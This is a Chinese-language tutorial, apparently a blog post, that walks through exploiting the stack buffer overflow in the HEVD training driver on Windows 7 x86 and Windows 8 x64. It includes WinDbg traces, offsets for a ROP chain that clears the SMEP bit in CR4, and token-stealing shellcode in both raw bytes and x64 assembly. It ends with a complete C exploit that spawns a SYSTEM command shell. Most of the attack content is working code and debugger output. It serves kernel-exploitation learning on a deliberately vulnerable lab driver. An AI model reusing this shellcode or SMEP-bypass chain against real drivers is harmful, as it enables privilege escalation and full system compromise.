Windows核心棧溢位從win7 x86 到win8 x64
一、環境準備
Win 10 64位 主機 + win 7 32位虛擬機器
Win 10 64位 主機 + win 8 64位虛擬機器
Windbg:偵錯程式
VirtualKD-3.0:雙擊除錯工具
InstDrv:驅動安裝,執行工具
HEVD:一個Windows核心漏洞訓練專案,裡面幾乎涵蓋了核心可能存在的所有漏洞型別,非常適合我們熟悉理解Windows核心漏洞的原理,利用技巧等等
二、win7 x86 環境
win7 x86下比較簡單,這裡簡單過一下
先看下程式碼:
#define BUFFER_SIZE 512 NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) { NTSTATUS Status = STATUS_SUCCESS; ULONG KernelBuffer[BUFFER_SIZE] = {0}; PAGED_CODE(); __try { // Verify if the buffer resides in user mode ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer)); DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer); …… #ifdef SECURE RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer)); #else DbgPrint("[+] Triggering Stack Overflow\n"); // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size); #endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }
程式碼很簡單,問題就出在這句上
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
KernelBuffer是函式內的變數,內容存放在棧上, 大小固定為512位元組, UserBuffer 和Size是使用者從ring3層傳入得值,大小可人為控制,當傳入得 UserBuffer 和Size過大時,就會超過KernelBuffer的空間,覆蓋到函式返回地址。
實際跟蹤除錯可知,從KernelBuffer起始開始覆蓋資料, 偏移2080自節後開始覆蓋 返回地址。
#define JUNK_SIZE2080 #define TOAL_SIZE2080 + 4 char payload[TOAL_SIZE] = { 0 }; char junk_pay[JUNK_SIZE] = { 'A' }; char ret_addr[5] = { 0 }; memset(junk_pay, 'A', JUNK_SIZE); memset(ret_addr, 'B', 5); memcpy(payload, junk_pay, JUNK_SIZE); memcpy(payload + JUNK_SIZE, ret_addr, 4); //*((int*)((char*)payload + JUNK_SIZE)) = (int)pShellcodeBuf; RtlCopyMemory(uBuffer, payload, TOAL_SIZE); DWORD bytesRet; BOOL bof = DeviceIoControl(device,/* handler for open driver */ STACK_IOCTL,/* IOCTL for the stack overflow */ uBuffer,/* our user buffer with shellcode/retAddr */ TOAL_SIZE, NULL,/* no buffer for the driver to write back to */ 0,/* above buffer of size 0 */ &bytesRet,/* dump variable for byte returned */ NULL);/* ignore overlap */
測試程式,覆蓋2080個A, 後面緊接著用B覆蓋返回地址。
Windbg下斷點 bp HEVD!TriggerStackOverflow
執行程式,除錯觀察。程式停在TriggerStackOverflow函式入口處, 返回地址為96b3e980
P 執行程式,當執行RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);後,函式的返回地址被覆蓋, 42424242 也就是BBBB。
剩下的就簡單了,我們只需要將BBBB替換成shellcode的地址就行了。部分程式碼如下:
// Set the DeleteProcedure to the address of our payload int shellcode_len = sizeof(shellcode); char *pShellcodeBuf = (char*)VirtualAlloc(NULL, shellcode_len, MEM_RESERVE| MEM_COMMIT, PAGE_EXECUTE_READWRITE); RtlMoveMemory(pShellcodeBuf, shellcode, shellcode_len); printf("ShellcodeBuf :%x\n", pShellcodeBuf); char payload[TOAL_SIZE] = { 0 }; char junk_pay[JUNK_SIZE] = { 'A' }; char ret_addr[5] = { 0 }; memset(junk_pay, 'A', JUNK_SIZE); memset(ret_addr, 'B', 5); memcpy(payload, junk_pay, JUNK_SIZE); *((int*)((char*)payload + JUNK_SIZE)) = (int)pShellcodeBuf; RtlCopyMemory(uBuffer, payload, TOAL_SIZE);
執行結果如下:
三、Win8 x64環境
在Windows 8及更高版本上已經部署了一種新的緩解措施,可以阻止使用這種方法exploit。管理模式執行保護(Superior Mode Execution Prevention)基本上是ring0版的DEP。它防止CPU以比當前更低的許可權級別(或更高的ring級別)執行指令。換句話說,當在核心模式中執行時,處理器將不會執行對映到使用者空間記憶體中的指令。
1、遇到的坑
在介紹SMEP繞過之前,我先講下我遇到的坑。第一要確定自己的cpu是否支援SMEP。
一開始在win8.x x64上測試SMEP時,我沒有使用繞過技術,但是shellcode一直能正常執行,讓我很是納悶,作為小白不知如何是好,後來經過多方查詢資料,才知道時cpu的問題(誰讓咱窮呢)。
換了臺機器後,再測試,發現還是沒有smep保護,不知道啥原因,重新裝了win10x64的虛擬機器,發現支援smep了,猜測可能自己下的win8的系統有問題,於是又下了個更新的win8,發現支援smep了,終於可以開心的研究技術了。
如何判斷我們的系統是否開啟smep呢。 Windows提供了一款工具coreinfo.exe
不支援smep(是-):
支援smep(是*):
2、smep技術介紹
smep是一種核心保護機制,由cr4暫存器的smep位控制,該位為1時,保護開啟,該位為0時保護關閉。
既然是暫存器控制保護的開啟與關閉,是不是很像ring3層的dep,我們就可以通過控制cr4暫存器的值來關閉該保護機制。
我們實際跟蹤下看下smep是什麼情況。在我們構造shellcode覆蓋堆疊後,執行到RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size)後,在TriggerStackOverflow()返回前,我們看下cr4的值。
kd> r cr4
cr4=00000000001506f8
第20位smep標識為1, 保護機制開啟,如果在繼續執行,系統就會藍屏。
3、Smep繞過
我們如何繞過,類似dep,我們在執行shellcode之前,先修改cr4將其smep位寫0。這就需要rop技術。
首先我們需要在核心中找到mov cr4, xxx; ret之類的的程式碼。
我們將ntoskrnl.exe用ida開啟。搜尋 mov cr4
結果為mov cr4,rcx; retn。
我們還需要一條控制rcx值的語句(pop rcx)
同樣搜尋pop rcx
這兩條語句在ntoskrnl.exe中的偏移分別為8655A,7db64
Windbg中檢視對應位置,正是我們需要的。
kd> dd nt fffff801`7621c00000905a4d 00000003 00000004 0000ffff fffff801`7621c010000000b8 00000000 00000040 00000000 gadgets1: kd> u nt+7db64 nt!KeRemoveQueueDpcEx+0xac: fffff801`76299b64 59poprcx fffff801`76299b65 c3ret gadgets2: kd> u nt+8655A nt!KiFlushCurrentTbWorker+0x12: fffff801`762a255a 0f22e1movcr4,rcx fffff801`762a255d c3ret
之前win7的時候,我們返回地址直接覆蓋的是shellcode地址, 到了win8 x64這裡我們將其覆蓋為gadgets1的地址。
構造棧資料如下:
我們簡單跟蹤下:
在我們執行完RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size)後,
棧上的返回地址已經被覆蓋,值為fffff802cb2f6b64
Bp fffff802cb2f6b64下斷點
此時cr4的值已經改變
kd> r cr4 cr4=00000000000406f8
再單步執行就進入我們的shellcode中。
4、有關shellcode構造除錯:
我首先網上隨便找了個shellcode
mov rax, gs:[188h];Kprcb.Kpthread mov rax, [rax+220h];process movrcx, rax; keep copy value movrdx, 4; system PID findSystemPid: movrax, [rax+2e8h]; ActiveProcessLinks : _LIST_ENTRY subrax, 2e8h cmp[rax+2e0h], rdx jnz findSystemPid ; 替換Token mov rdx, [rax+348h]; get system token mov [rcx+348h], rdx; copy ret
當然我在實際用的時候,直接藍屏了。
下面我們就通過除錯將這個shellcode,改造成可用的。
通過跟蹤你會知道,這shellcode之所以會藍屏,是堆疊不平衡問題,由於函式沒有正常返回,導致shellcode執行完,直接飛了。
我們迴歸程式,shellcode所在的函式上層函式是StackOverflowIoctlHandler()
函式在返回前,執行了add rsp, 28h。
所以我們要堆疊平衡,也需要rsp增加,加多少呢,總共要加28h
但是我們已經先執行了rop鏈, pop rcx, ret, ret 已經使rsp增加了3*8=24=18h
所以我們還需要增加28h-18h=10h
我們修改下shellcode
mov rax, gs:[188h];Kprcb.Kpthread mov rax, [rax+220h];process movrcx, rax; keep copy value movrdx, 4; system PID findSystemPid: movrax, [rax+2e8h]; ActiveProcessLinks : _LIST_ENTRY subrax, 2e8h cmp[rax+2e0h], rdx jnz findSystemPid ; 替換Token mov rdx, [rax+348h]; get system token mov [rcx+348h], rdx; copy ;根據實際環境調整 addrsp,10h ret
我們再次執行,發現shellcode可以正常執行完畢,但是系統還是藍屏了。What???
再次跟蹤,尋找原因,定位到異常原因
rbx的值指向irp,此時其值為
kd> r rbx rbx=00000000000406f8
所以執行到這裡會藍屏,我們需要在shellcode中恢復irp的值,保證後續能夠正常執行。
下斷點
bp HEVD!IrpDeviceIoCtlHandler bp HEVD!TriggerStackOverflow
irp從函式IrpDeviceIoCtlHandler傳入,程式進入該函式時,檢視堆疊
kd> dd rsp ffffd001`7e679778cb663c0f fffff802 00000000 00000000 ffffd001`7e6797887e679a80 ffffd001 f0840ee0 ffffe000
f0840ee0 ffffe000值對應的就是irp的值,地址為ffffd001`7e679790
程式進入shellcode時,我們在看下rsp的值為ffffd001`7e679738
kd> dd rsp ffffd001`7e6797387e679a01 ffffd001 00222003 00000000 ffffd001`7e67974819827335 fffff800 198287a0 fffff800 ffffd001`7e679790- ffffd001`7e679738=58h
即irp在rsp上方偏移58h處(也沒有被覆蓋)
由於irp的存在rbx中,所以需要執行mov rbx, [rsp+58h]來恢復irp。
最後shellcode為
;forwin8x64 .code shellCode proc ; shellcode mov rax, gs:[188h];Kprcb.Kpthread mov rax, [rax+220h];process movrcx, rax; keep copy value movrdx, 4; system PID findSystemPid: movrax, [rax+2e8h]; ActiveProcessLinks : _LIST_ENTRY subrax, 2e8h cmp[rax+2e0h], rdx jnz findSystemPid ; 替換Token mov rdx, [rax+348h]; get system token mov [rcx+348h], rdx; copy ;根據實際環境調整 mov rbx, [rsp+58h];restore IRP addrsp,10h ;xor rax, rax;NTSTATUS Status = STATUS_SUCCESS ret shellCode endp end
(構造shellcode時,要根據具體情況調整程式碼)
結果如下:
附程式碼:(shellcode在shellCode.asm檔案中):
#include <windows.h> #include <winioctl.h> #include <stdio.h> #include <stdint.h> #include "shellCode.h" /* HEVD Windows Driver Exploit for the Stack Buffer Overflow */ #ifdef _WIN64 #define RETLEN 8 #define JUNK_SIZE2056 #define TOAL_SIZEJUNK_SIZE + 8*4 //gadgets1(pop rcxret) + 406f8 + gadgets2(mov cr4,crxret) + shellcodeAddr #else #define RETLEN 4 #define JUNK_SIZE2080 #define TOAL_SIZE2080 + 8 #endif #define SHELLCODE_LEN61 #define STACK_IOCTL0x222003 #define DRIVER_PATH"\\\\.\\HackSysExtremeVulnerableDriver" //對應的函式名宣告在shellCode檔案中; //win x64 不支援嵌入式彙編,需要單獨存放; extern "C" void shellCode(); typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation = 0, SystemPerformanceInformation = 2, SystemTimeOfDayInformation = 3, SystemProcessInformation = 5, SystemProcessorPerformanceInformation = 8, SystemModuleInformation = 11, SystemInterruptInformation = 23, SystemExceptionInformation = 33, SystemRegistryQuotaInformation = 37, SystemLookasideInformation = 45 } SYSTEM_INFORMATION_CLASS; typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { HANDLE Section; PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct _SYSTEM_MODULE_INFORMATION { ULONG NumberOfModules; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef struct _ROP { PUCHAR PopRcxRet; PUCHAR Cr4RegValue; PUCHAR MovCr4EcxRet; } ROP, *PROP; typedef NTSTATUS(NTAPI *_NtQuerySystemInformation)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); __int64* GetKernelBase() { DWORD len; PSYSTEM_MODULE_INFORMATION ModuleInfo; __int64 *kernelBase = NULL; _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation"); if (NtQuerySystemInformation == NULL) { return NULL; } NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!ModuleInfo) { return NULL; } NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len); kernelBase = (__int64*)ModuleInfo->Module[0].ImageBase; VirtualFree(ModuleInfo, 0, MEM_RELEASE); return kernelBase; } void main() { LPVOID uBuffer = VirtualAlloc(NULL, TOAL_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!uBuffer) { printf("Error allocating the user buffer\n"); exit(1); } char payload[TOAL_SIZE] = { 0 }; char junk_pay[JUNK_SIZE] = { 'A' }; memset(junk_pay, 'A', JUNK_SIZE); memcpy(payload, junk_pay, JUNK_SIZE); #ifdef _WIN64 __int64 pKernelAddr = (__int64)GetKernelBase(); printf("KernelAddr = %I64x\n", pKernelAddr); *((__int64*)((char*)payload + JUNK_SIZE)) = (__int64)(pKernelAddr + 0x7db64);//pop rcxret *((__int64*)((char*)payload + JUNK_SIZE + 8)) = 0x406f8; *((__int64*)((char*)payload + JUNK_SIZE + 8 + 8)) = (__int64)(pKernelAddr + 0x8655A);//mov cr4 rcx , ret *((__int64*)((char*)payload + JUNK_SIZE + 8 + 8 +8)) = (__int64)shellCode; #else char shellcode[] = /* --- Setup --- */ "\x60"// pushad "\x64\xA1\x24\x01\x00\x00"// mov eax, fs:[KTHREAD_OFFSET] "\x8B\x40\x50"// mov eax, [eax + EPROCESS_OFFSET] "\x89\xC1"// mov ecx, eax (Current _EPROCESS structure) "\x8B\x98\xF8\x00\x00\x00"// mov ebx, [eax + TOKEN_OFFSET] /* --- Copy System token */ "\xBA\x04\x00\x00\x00"// mov edx, 4 (SYSTEM PID) "\x8B\x80\xB8\x00\x00\x00"// mov eax, [eax + FLINK_OFFSET] "\x2D\xB8\x00\x00\x00"// sub eax, FLINK_OFFSET "\x39\x90\xB4\x00\x00\x00"// cmp [eax + PID_OFFSET], edx "\x75\xED"// jnz "\x8B\x90\xF8\x00\x00\x00"// mov edx, [eax + TOKEN_OFFSET] "\x89\x91\xF8\x00\x00\x00"// mov [ecx + TOKEN_OFFSET], edx /* --- Cleanup --- */ "\x61"// popad "\x31\xC0"// NTSTATUS -> STATUS_SUCCESS "\x5D"// pop ebp "\xC2\x08\x00";// ret 8 // Set the DeleteProcedure to the address of our payload int shellcode_len = sizeof(shellcode); __int64 *pShellcodeBuf = (__int64*)VirtualAlloc(NULL, shellcode_len, MEM_RESERVE| MEM_COMMIT, PAGE_EXECUTE_READWRITE); RtlMoveMemory(pShellcodeBuf, shellcode, shellcode_len); printf("ShellcodeBuf = %I64x\n", pShellcodeBuf); *((int*)((char*)payload + JUNK_SIZE)) = (int)pShellcodeBuf; #endif RtlCopyMemory(uBuffer, payload, TOAL_SIZE); HANDLE device = CreateFileA(DRIVER_PATH, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL); if (device == INVALID_HANDLE_VALUE) { printf("[!] Error opening the driver\n"); exit(1); } DWORD bytesRet; BOOL bof = DeviceIoControl(device,/* handler for open driver */ STACK_IOCTL,/* IOCTL for the stack overflow */ uBuffer,/* our user buffer with shellcode/retAddr */ TOAL_SIZE, NULL,/* no buffer for the driver to write back to */ 0,/* above buffer of size 0 */ //&bytesRet,/* dump variable for byte returned */ NULL, NULL);/* ignore overlap */ /* check if the device IO sent fine! */ if (!bof) { printf("[!] Error with DeviceIoControl: %d\n", GetLastError()); //exit(1); } else { printf("[*] Success!! Enjoy your shell!\n"); } /* pop a shell! */ system("cmd.exe"); }